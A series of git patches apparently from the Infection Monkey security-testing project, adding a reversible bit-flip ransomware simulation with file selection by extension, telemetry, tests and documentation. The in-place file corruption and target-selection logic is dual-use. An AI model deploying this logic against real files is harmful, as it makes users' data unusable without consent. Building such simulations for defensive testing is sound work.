ransomware_target / TEST_KEYBOARD_TXT - file_list = [orig_all_zeros, orig_test_keyboard] + assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - encryptor = RansomwareBitflipEncryptor(EXTENSION) - results = encryptor.encrypt_files(file_list) + encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor.encrypt_file_in_place(test_keyboard) - assert len(results) == 2 - assert (orig_all_zeros, None) in results - assert (orig_test_keyboard, None) in results + assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 -def test_file_not_found(ransomware_target): - all_zeros = ransomware_target / ALL_ZEROS_PDF - file_list = [all_zeros] +def test_file_encrypted_in_place(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - all_zeros.unlink() + expected_inode = os.stat(test_keyboard).st_ino - encryptor = RansomwareBitflipEncryptor(EXTENSION) + encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor.encrypt_file_in_place(test_keyboard) - results = encryptor.encrypt_files(file_list) + actual_inode = os.stat(test_keyboard).st_ino - assert len(results) == 1 - assert "No such file or directory" in str(results[0][1]) + assert expected_inode == actual_inode From 1929ea7dae3e823578f332401a54512e0dbfe27b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 11:01:58 -0400 Subject: [PATCH 0899/1360] agent: Add file_selectors.select_production_safe_target_files() --- .../ransomware/file_selectors.py | 21 +++++++++++++++++++ .../ransomware/ransomware_payload.py | 21 +++++-------------- 2 files changed, 26 insertions(+), 16 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/file_selectors.py diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py new file mode 100644 index 00000000000..f34bc9ca4e2 --- /dev/null +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -0,0 +1,21 @@ +from pathlib import Path +from typing import List, Set + +from infection_monkey.utils.dir_utils import ( + file_extension_filter, + filter_files, + get_all_regular_files_in_directory, + is_not_shortcut_filter, + is_not_symlink_filter, +) + + +def select_production_safe_target_files(target_dir: Path, extensions: Set) -> List[Path]: + file_filters = [ + file_extension_filter(extensions), + is_not_shortcut_filter, + is_not_symlink_filter, + ] + + all_files = get_all_regular_files_in_directory(target_dir) + return filter_files(all_files, file_filters) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 5a4c6b412fd..edb2e76a464 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,15 +2,9 @@ from pathlib import Path from typing import List, Optional, Tuple +from infection_monkey.ransomware.file_selectors import select_production_safe_target_files from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils.dir_utils import ( - file_extension_filter, - filter_files, - get_all_regular_files_in_directory, - is_not_shortcut_filter, - is_not_symlink_filter, -) from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -36,18 +30,13 @@ def run_payload(self): file_list = self._find_files() self._encrypt_files(file_list) - def _find_files(self): + def _find_files(self) -> List[Path]: if not self._target_dir: return [] - file_filters = [ - file_extension_filter(self._valid_file_extensions_for_encryption), - is_not_shortcut_filter, - is_not_symlink_filter, - ] - - all_files = get_all_regular_files_in_directory(Path(self._target_dir)) - return filter_files(all_files, file_filters) + return select_production_safe_target_files( + Path(self._target_dir), self._valid_file_extensions_for_encryption + ) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: results = [] From 70480c7011a3e2ea45ee6ce3710903f877078912 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 11:05:34 -0400 Subject: [PATCH 0900/1360] agent: Rename RansomwareBitflipEncryptor -> BitflipEncryptor --- ...ransomware_bitflip_encryptor.py => bitflip_encryptor.py} | 2 +- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 ++-- ...mware_bitflip_encryptor.py => test_bitflip_encryptor.py} | 6 +++--- 3 files changed, 6 insertions(+), 6 deletions(-) rename monkey/infection_monkey/ransomware/{ransomware_bitflip_encryptor.py => bitflip_encryptor.py} (94%) rename monkey/tests/unit_tests/infection_monkey/ransomware/{test_ransomware_bitflip_encryptor.py => test_bitflip_encryptor.py} (80%) diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/bitflip_encryptor.py similarity index 94% rename from monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py rename to monkey/infection_monkey/ransomware/bitflip_encryptor.py index 4c297d4cb5f..b31f8a40948 100644 --- a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py +++ b/monkey/infection_monkey/ransomware/bitflip_encryptor.py @@ -3,7 +3,7 @@ from infection_monkey.utils import bit_manipulators -class RansomwareBitflipEncryptor: +class BitflipEncryptor: def __init__(self, chunk_size=64): self._chunk_size = chunk_size diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index edb2e76a464..460b0fb4ccc 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,8 +2,8 @@ from pathlib import Path from typing import List, Optional, Tuple +from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files -from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION from infection_monkey.utils.environment import is_windows_os @@ -24,7 +24,7 @@ def __init__(self, config: dict): self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(self._new_file_extension) - self._encryptor = RansomwareBitflipEncryptor(chunk_size=CHUNK_SIZE) + self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) def run_payload(self): file_list = self._find_files() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py similarity index 80% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py rename to monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py index 5dd5847783b..86066c51899 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py @@ -7,7 +7,7 @@ ) from tests.utils import hash_file -from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor +from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor def test_file_encrypted(ransomware_target): @@ -15,7 +15,7 @@ def test_file_encrypted(ransomware_target): assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor = BitflipEncryptor(chunk_size=64) encryptor.encrypt_file_in_place(test_keyboard) assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 @@ -26,7 +26,7 @@ def test_file_encrypted_in_place(ransomware_target): expected_inode = os.stat(test_keyboard).st_ino - encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor = BitflipEncryptor(chunk_size=64) encryptor.encrypt_file_in_place(test_keyboard) actual_inode = os.stat(test_keyboard).st_ino From 91c3a6cb0dc10fe0bb4e03105fe0a4dd1cf448f9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 24 Jun 2021 13:19:39 +0530 Subject: [PATCH 0901/1360] docs: Reword some content on the ransomware page --- docs/content/reference/ransomware.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index ed76edf3466..7efe56e1af0 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -7,11 +7,12 @@ weight: 10 --- The Infection Monkey has the capability of simulating a ransomware attack on your network. -All actions performed by the encryption routine are safe for production environments. +All actions performed by the encryption routine are designed to be safe for production +environments. -To ensure minimum intereference and easy recoverability, the ransomware simulation will only run if -it is configured properly. To do so, you must specify the path to a directory in the configuration. -If no directory is specified, the simulation will not run. +To ensure minimum interference and easy recoverability, the ransomware simulation will encrypt +files if the user specifies a directory that contains files that are safe to encrypt. +If no directory is specified, no files will be encrypted. @@ -38,7 +39,7 @@ To "decrypt" your files, you can simply perform a bit flip on them again. Encryption attempts are only performed on regular files with the following extensions. -This list is based on the [analysis of the ??? ransomware by ???](). +This list is based on the [analysis of the Goldeneye ransomware by BitDefender](https://labs.bitdefender.com/2017/07/a-technical-look-into-the-goldeneye-ransomware-attack/). - .3ds - .7z From 97bc0fd2051d0bdeca778bebd76fed875aae1b85 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 24 Jun 2021 14:41:38 +0530 Subject: [PATCH 0902/1360] docs: Add more information about the safety and sufficiency of the ransomware simulation --- docs/content/reference/ransomware.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 7efe56e1af0..6e6f614d74d 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -16,6 +16,16 @@ If no directory is specified, no files will be encrypted. +## How are the files encrypted? + +Files are "encrypted" in place with a simple bit flip. Encrypted files are renamed to have +`.m0nk3y` appended to their names. + +This is a safe way to simulate encryption since it is easy to "decrypt" your files. You can simply perform a bit flip on the files again and rename them to remove the appended `.m0nk3y` extension. + +This is sufficient for a ransomware simulation as your files are unusuable and are renamed with a different extension, similar to how many ransomwares act. These changes should trigger your security solutions. + + ## Which files are encrypted? All regular files with [relevant extensions](#relevant-file-extensions-for-encryption) in the @@ -27,14 +37,6 @@ configured directory — only appropriate files in the top level of the tree. Symlinks and shortcuts are ignored. -## How are the files encrypted? - -Files are "encrypted" in place with a simple bit flip. Encrypted files are renamed to have -`.m0nk3y` appended to their names. - -To "decrypt" your files, you can simply perform a bit flip on them again. - - ## Relevant file extensions for encryption Encryption attempts are only performed on regular files with the following extensions. From f1e592380bc0aa4d7a57ce54a58c57aa543320db Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 07:00:06 -0400 Subject: [PATCH 0903/1360] agent: Rename test_file_with_included_extension_encrypted --- .../infection_monkey/ransomware/test_ransomware_payload.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 5fb4a00d475..21205d319e5 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -68,7 +68,7 @@ def test_encryption_not_recursive(ransomware_target, ransomware_payload): assert hash_file(ransomware_target / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 -def test_file_with_included_extension_encrypted(ransomware_target, ransomware_payload): +def test_all_files_with_included_extension_encrypted(ransomware_target, ransomware_payload): assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 From ef209a693c47689de0a05b5686a801b795cbe6d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 07:00:44 -0400 Subject: [PATCH 0904/1360] agent: Remove second file from test_file_encrypted_in_place() --- .../infection_monkey/ransomware/test_ransomware_payload.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 21205d319e5..d5a155f4889 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -85,17 +85,14 @@ def test_all_files_with_included_extension_encrypted(ransomware_target, ransomwa def test_file_encrypted_in_place(ransomware_target, ransomware_payload): - expected_all_zeros_inode = os.stat(ransomware_target / ALL_ZEROS_PDF).st_ino expected_test_keyboard_inode = os.stat(ransomware_target / TEST_KEYBOARD_TXT).st_ino ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(ransomware_target / with_extension(ALL_ZEROS_PDF)).st_ino actual_test_keyboard_inode = os.stat( ransomware_target / with_extension(TEST_KEYBOARD_TXT) ).st_ino - assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode From d600aa720894ed49b9381b432c6fb4747898dc17 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 15:10:43 +0530 Subject: [PATCH 0905/1360] telem: Add telem category for ransomware --- monkey/common/common_consts/telem_categories.py | 1 + vulture_allowlist.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index 280cfce051d..dc083d4ab28 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -8,3 +8,4 @@ class TelemCategoryEnum: TRACE = "trace" TUNNEL = "tunnel" ATTACK = "attack" + RANSOMWARE = "ransomware" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2c937ee4f35..68acc35e0f6 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,6 +171,7 @@ MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 +RansomwareTelem # monkey/infection_monkey/telemetry/ransomware_telem.py:7 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 29bd48f70378124aee1eab40adc1b782de800ac2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 15:23:45 +0530 Subject: [PATCH 0906/1360] telem: Add ransomware telemetry --- monkey/infection_monkey/monkey.py | 4 +++- .../telemetry/ransomware_telem.py | 22 +++++++++++++++++++ 2 files changed, 25 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/telemetry/ransomware_telem.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index abd0b3f18f2..0b45d3fbdbe 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -25,6 +25,7 @@ from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.ransomware_telem import RansomwareTelem from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -233,7 +234,8 @@ def start(self): if not self._keep_running: break - RansomewarePayload(WormConfiguration.ransomware).run_payload() + ransomware_attempts = RansomewarePayload(WormConfiguration.ransomware).run_payload() + RansomwareTelem(ransomware_attempts).send() if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations diff --git a/monkey/infection_monkey/telemetry/ransomware_telem.py b/monkey/infection_monkey/telemetry/ransomware_telem.py new file mode 100644 index 00000000000..c56e8337c2d --- /dev/null +++ b/monkey/infection_monkey/telemetry/ransomware_telem.py @@ -0,0 +1,22 @@ +from typing import List, Tuple + +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.telemetry.base_telem import BaseTelem + + +class RansomwareTelem(BaseTelem): + def __init__(self, attempts: List[Tuple[str, str]]): + """ + Ransomware telemetry constructor + :param attempts: List of tuples with each tuple containing the path + of a file it tried encrypting and its result. + If ransomware fails completely - list of one tuple + containing the directory path and error string. + """ + super().__init__() + self.attempts = attempts + + telem_category = TelemCategoryEnum.RANSOMWARE + + def get_data(self): + return {"ransomware_attempts": self.attempts} From cec8341b172baddc3e075f17bd62ff006870896a Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 23 Jun 2021 15:38:27 +0530 Subject: [PATCH 0907/1360] tests: Add unit tests for ransomware telem --- .../telemetry/test_ransomware_telem.py | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py new file mode 100644 index 00000000000..4994c928763 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py @@ -0,0 +1,20 @@ +import json + +import pytest + +from infection_monkey.telemetry.ransomware_telem import RansomwareTelem + +ATTEMPTS = [("", "")] + + +@pytest.fixture +def ransomware_telem_test_instance(): + return RansomwareTelem(ATTEMPTS) + + +def test_ransomware_telem_send(ransomware_telem_test_instance, spy_send_telemetry): + ransomware_telem_test_instance.send() + expected_data = {"ransomware_attempts": ATTEMPTS} + expected_data = json.dumps(expected_data, cls=ransomware_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "ransomware" From 77e3c8a257443713477260a53762932d8a5278ad Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 20:06:36 -0400 Subject: [PATCH 0908/1360] agent: Add telemetry messenger interface The telemetry classes have too many responsibilities. At the moment, one such responsibility is to send themselves to the island. As our plugin interfaces develop, the need may arise to send telemetry using different mechanisms. To isolate the RansomwarePayload from these changes, the ITelemetryMessenger interface is introduced in this commit. It provides a send_telemetry() method that handles the specific details of how telemetry is sent to the Island. At the present time, the TelemetryMessengerWrapper class is introduced to handle sending telemetry. It simply wraps the existing send() method on the telemetry class. --- .../telemetry/messengers/i_telemetry_messenger.py | 9 +++++++++ .../telemetry/messengers/telemetry_messenger_wrapper.py | 7 +++++++ 2 files changed, 16 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py create mode 100644 monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py diff --git a/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py new file mode 100644 index 00000000000..7cc2efa010e --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py @@ -0,0 +1,9 @@ +import abc + +from infection_monkey.telemetry.base_telem import BaseTelem + + +class ITelemetryMessenger(metaclass=abc.ABCMeta): + @abc.abstractmethod + def send_telemetry(self, telemetry: BaseTelem): + pass diff --git a/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py b/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py new file mode 100644 index 00000000000..d00f0dd2397 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py @@ -0,0 +1,7 @@ +from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class TelemetryMessengerWrapper(ITelemetryMessenger): + def send_telemetry(self, telemetry: BaseTelem): + telemetry.send() From 46da0b7b1f282e21ebc7ecb1b3c36a543a62515b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 12:07:14 -0400 Subject: [PATCH 0909/1360] agent: Add ITelem interface Create a telemetry interface that sits above the BaseTelem abstract class to allow telemetries to be extended without inheritance. --- .../infection_monkey/telemetry/base_telem.py | 21 ++------------ monkey/infection_monkey/telemetry/i_telem.py | 29 +++++++++++++++++++ 2 files changed, 31 insertions(+), 19 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/i_telem.py diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 0fcf4b20312..4a37a9eb9d6 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -3,6 +3,7 @@ import logging from infection_monkey.control import ControlClient +from infection_monkey.telemetry.i_telem import ITelem logger = logging.getLogger(__name__) LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged @@ -24,14 +25,11 @@ # logging and sending them. -class BaseTelem(object, metaclass=abc.ABCMeta): +class BaseTelem(ITelem, metaclass=abc.ABCMeta): """ Abstract base class for telemetry. """ - def __init__(self): - pass - def send(self, log_data=True): """ Sends telemetry to island @@ -41,13 +39,6 @@ def send(self, log_data=True): self._log_telem_sending(serialized_data, log_data) ControlClient.send_telemetry(self.telem_category, serialized_data) - @abc.abstractmethod - def get_data(self) -> dict: - """ - :return: Data of telemetry (should be dict) - """ - pass - @property def json_encoder(self): return json.JSONEncoder @@ -57,14 +48,6 @@ def _log_telem_sending(self, serialized_data: str, log_data=True): if log_data: logger.debug(f"Telemetry contents: {BaseTelem._truncate_data(serialized_data)}") - @property - @abc.abstractmethod - def telem_category(self): - """ - :return: Telemetry type - """ - pass - @staticmethod def _truncate_data(data: str): if len(data) <= LOGGED_DATA_LENGTH: diff --git a/monkey/infection_monkey/telemetry/i_telem.py b/monkey/infection_monkey/telemetry/i_telem.py new file mode 100644 index 00000000000..faaa0a65e40 --- /dev/null +++ b/monkey/infection_monkey/telemetry/i_telem.py @@ -0,0 +1,29 @@ +import abc + + +class ITelem(metaclass=abc.ABCMeta): + @abc.abstractmethod + def send(self, log_data=True): + """ + Sends telemetry to island + """ + + @abc.abstractmethod + def get_data(self) -> dict: + """ + :return: Data of telemetry (should be dict) + """ + pass + + @property + @abc.abstractmethod + def json_encoder(self): + pass + + @property + @abc.abstractmethod + def telem_category(self): + """ + :return: Telemetry type + """ + pass From 21525be192aef661bf630467bf7fef1b131ff8fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 12:33:48 -0400 Subject: [PATCH 0910/1360] agent: Use ITelem in ITelemetryMessenger.send() typehint --- .../telemetry/messengers/i_telemetry_messenger.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py index 7cc2efa010e..cf5511e83bf 100644 --- a/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py @@ -1,9 +1,9 @@ import abc -from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.i_telem import ITelem class ITelemetryMessenger(metaclass=abc.ABCMeta): @abc.abstractmethod - def send_telemetry(self, telemetry: BaseTelem): + def send_telemetry(self, telemetry: ITelem): pass From 76da583420297e509281af94e0c24371b8af2a5f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 15:39:02 -0400 Subject: [PATCH 0911/1360] agent: Send telemetry from ransomware payload --- monkey/infection_monkey/monkey.py | 8 ++-- .../ransomware/ransomware_payload.py | 13 +++-- .../ransomware/test_ransomware_payload.py | 48 ++++++++++++++++++- 3 files changed, 61 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0b45d3fbdbe..122e9e459d0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -25,7 +25,9 @@ from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.ransomware_telem import RansomwareTelem +from infection_monkey.telemetry.messengers.telemetry_messenger_wrapper import ( + TelemetryMessengerWrapper, +) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -234,8 +236,8 @@ def start(self): if not self._keep_running: break - ransomware_attempts = RansomewarePayload(WormConfiguration.ransomware).run_payload() - RansomwareTelem(ransomware_attempts).send() + telemetry_messenger = TelemetryMessengerWrapper() + RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 460b0fb4ccc..49525902bf0 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -5,6 +5,8 @@ from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.ransomware_telem import RansomwareTelem from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -14,7 +16,7 @@ class RansomewarePayload: - def __init__(self, config: dict): + def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): LOG.info(f"Windows dir configured for encryption is \"{config['windows_dir']}\"") LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"") @@ -25,6 +27,7 @@ def __init__(self, config: dict): self._valid_file_extensions_for_encryption.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) + self._telemetry_messenger = telemetry_messenger def run_payload(self): file_list = self._find_files() @@ -44,12 +47,16 @@ def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exc try: self._encryptor.encrypt_file_in_place(filepath) self._add_extension(filepath) - results.append((filepath, None)) + self._send_telemetry(filepath, "") except Exception as ex: - results.append((filepath, ex)) + self._send_telemetry(filepath, str(ex)) return results def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath) + + def _send_telemetry(self, filepath: Path, error: str): + encryption_attempt = RansomwareTelem((str(filepath), str(error))) + self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index d5a155f4889..138c6000428 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,4 +1,5 @@ import os +from pathlib import PurePath import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( @@ -20,7 +21,18 @@ ) from tests.utils import hash_file, is_user_admin +from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class TelemetryMessengerSpy(ITelemetryMessenger): + def __init__(self): + self.telemetries = [] + + def send_telemetry(self, telemetry: ITelem): + self.telemetries.append(telemetry) def with_extension(filename): @@ -33,8 +45,13 @@ def ransomware_payload_config(ransomware_target): @pytest.fixture -def ransomware_payload(ransomware_payload_config): - return RansomewarePayload(ransomware_payload_config) +def telemetry_messenger_spy(): + return TelemetryMessengerSpy() + + +@pytest.fixture +def ransomware_payload(ransomware_payload_config, telemetry_messenger_spy): + return RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): @@ -120,3 +137,30 @@ def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): hash_file(ransomware_target / ALREADY_ENCRYPTED_TXT_M0NK3Y) == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 ) + + +def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): + ransomware_payload.run_payload() + + assert len(telemetry_messenger_spy.telemetries) == 2 + telem_1 = telemetry_messenger_spy.telemetries[0] + telem_2 = telemetry_messenger_spy.telemetries[1] + + assert ALL_ZEROS_PDF in telem_1.get_data()["ransomware_attempts"][0] + assert telem_1.get_data()["ransomware_attempts"][1] == "" + assert TEST_KEYBOARD_TXT in telem_2.get_data()["ransomware_attempts"][0] + assert telem_2.get_data()["ransomware_attempts"][1] == "" + + +def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_spy): + monkeypatch.setattr( + ransomware_payload_module, + "select_production_safe_target_files", + lambda a, b: [PurePath("/file/not/exist")], + ), + + ransomware_payload.run_payload() + telem_1 = telemetry_messenger_spy.telemetries[0] + + assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0] + assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1] From 7b9c39edc6ecb23850de749d44d96abfaef7c3ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 15:55:17 -0400 Subject: [PATCH 0912/1360] 